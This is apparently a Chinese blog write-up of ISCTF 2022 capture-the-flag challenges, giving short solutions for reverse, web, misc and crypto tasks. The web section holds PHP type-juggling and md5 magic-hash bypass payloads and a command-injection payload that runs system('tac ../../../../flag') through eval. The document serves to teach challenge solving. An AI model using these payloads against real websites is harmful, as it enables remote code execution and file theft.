ISCTF

re

SigninReverse

shift + f12/view - 查看查找字符串得到flag

base64

拖入IDA进入字符串,发现一串base64编码,并且有strcmp函数,盲猜变异的base加密CyberChef

直接解密即可

开摆re

exp,直接得到flag

v8 = 'isctfajzu'
Str2 = '123456789'
flag = []
for i in range(len(Str2)):
    flag.append( chr(ord(Str2[i]) ^ ord(v8[i])))

print("".join(flag))

web


EASY-PHP01

查看源码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>web签到</title>
</head>
<body>
<!--给我一个hint,我给你一个hint-->
<!--?hint -->
 什么是GET?

随便传一个hint,得到一个新的网页

?php
include "./flag114514.php";
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
    if (isset($_POST['ISCTF'])) {
        $ISCTF = $_POST['ISCTF'];
        if($ISCTF == 114514){
            if($ISCTF === "114514"){
                echo "好臭啊";
            }else{
                echo $flag;
            }
        }else{
            echo "= == === != !==";
        }
    }else{
        echo "什么是POST?";
    }
}else{
    echo " 什么是GET?";
} 

分析源码,发现要post传参,payload:ISCTF=114514a

EASY-PHP02

 <?php
highlight_file(__FILE__);
error_reporting(0);
$flag = "flag{need_time_to_change}";
include_once("config.php");
$YOUR_NAME = $_GET["NAME"];
$GET1 = $_POST["GET1"];
$GET2 = $_POST["GET2"];
$POST1 = $_GET["P0ST1"];
$POST2 = $_GET["P0ST2"];
if (isset($YOUR_NAME)){
    echo $YOUR_NAME.",请开始你的答题。"."<br>";
}
else{
    echo "做题前请告诉我你是小蓝鲨吗?";
    exit();
}
if (is_numeric($POST1)){
    if ($_GET["P0ST1"] != $_GET["P0ST2"]){
        
        if (($_GET["P0ST1"]) == md5($_GET["P0ST2"])){

                $f1=$flag1;
                echo "小蓝鲨成功一半".$f1;              
            }
    }
}

if(preg_match('/^[0-9]*$/',$GET1)) {
exit();
}
else{
    if( $GET1 == 0 ){
        echo "<br>"."前面的出来了吗?";
        if(is_numeric($GET2)){
            exit();
        }
        if($GET2 > 678){
            echo "答案就在眼前?"."<br>".$YOUR_NAME.",你觉得这是flag吗?"."<br>";     
            $Ag=base64_encode($flag2);
            }
    }
}
$flag666 = $f1.$Ag;
echo $flag666;
?>
做题前请告诉我你是小蓝鲨吗?

is_numeric()判断是否为数字或者数字串

preg_match()正则匹配

所以payload

GET
?NAME=1&P0ST1=0e545993274517709034328855841020&P0ST2=s878926199a

POST
GET1=0e545993274517709034328855841020&GET2=679A

然后对得出来的flag分别进行base16和base64解密。

simplephp


<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

if(preg_match($pattern,$str,$arr))
{
    echo "good try!";
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        echo "come on!!!";
        if($num=='36'&isset($_GET['cmd'])){

                eval($_GET['cmd']);



        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }




}

is_numeric()判断是否为数字或者数字串

preg_match()正则匹配

eval() 函数把字符串按照 PHP 代码来计算。

payload

?str=333\\\\\\\\/Ilikeisctf&num=%0c36&cmd=echo%20system(%27tac%20../../../../flag%27);

FakeWeb

根据题目:好快!你能看出来这是个假的页面吗?尝试抓包放包,拿到flag。

 misc


Welcome To ISCTF2022

签到即可

简单社工

谷歌识图,对比图片,发现图片的大致位置在台湾省高雄市,搜索高雄捷运。得到路线是红线,运行区间是小港到岗山,接着对比发车时间表,找到具体位置巨蛋站,将具体位置进行md5加密拿到flag。

KFC疯狂星期四

打开文件,没有密码提示,托到010查看二进制文件

504B03041400

504B01021400

,后四位全局加密位,发现被更改,伪加密更改标记位得到图片

发现其位置背裁剪,或者脚本CRC检验,得到原来的宽和高

得到另一个文件加密密码,看的不是很清楚,通道观察即可;

如下


输入密码得到flag 。

可爱的emoji

根据提示对文件进行爆破,发现是emoji编码,根据提示,掩码爆破得到密码为:KEYISAES

在线emoji-aes加密解密,密码AES解密,上面还高级旋转9,得到flag

捕风的魔女

题中给的图片发现不认识,谷歌识图发现是提瓦特文字和魔女解密,一个一个的对着写拿到了flag。 


CRYPTO

这是什么古典玩意

part1用到了base64和base32解密,part2使用hex转str和 unicode转码,part3是猪圈解密

拿到完整flag。

呜呜呜我的md5脏了

默认数字串,生成文件后crtl+f搜索与原md5对比即可。

import hashlib

s = '1234567890'
# ps = [i for i in range(len(s))]
with open('md6.txt', 'w') as f:
    print('正在写入。。。')
    for i in range(len(s)):
        for j in range(len(s)):
            for k in range(len(s)):
                for l in range(len(s)):
                    for r in range(len(s)):
                        for m in range(len(s)):
                            for n in range(len(s)):
                                md5 = hashlib.md5(('ISCTF{md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[
                                    n]+'}').encode()).hexdigest() + '\n'
                                f.write(md5)
    print('写入完成。')

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值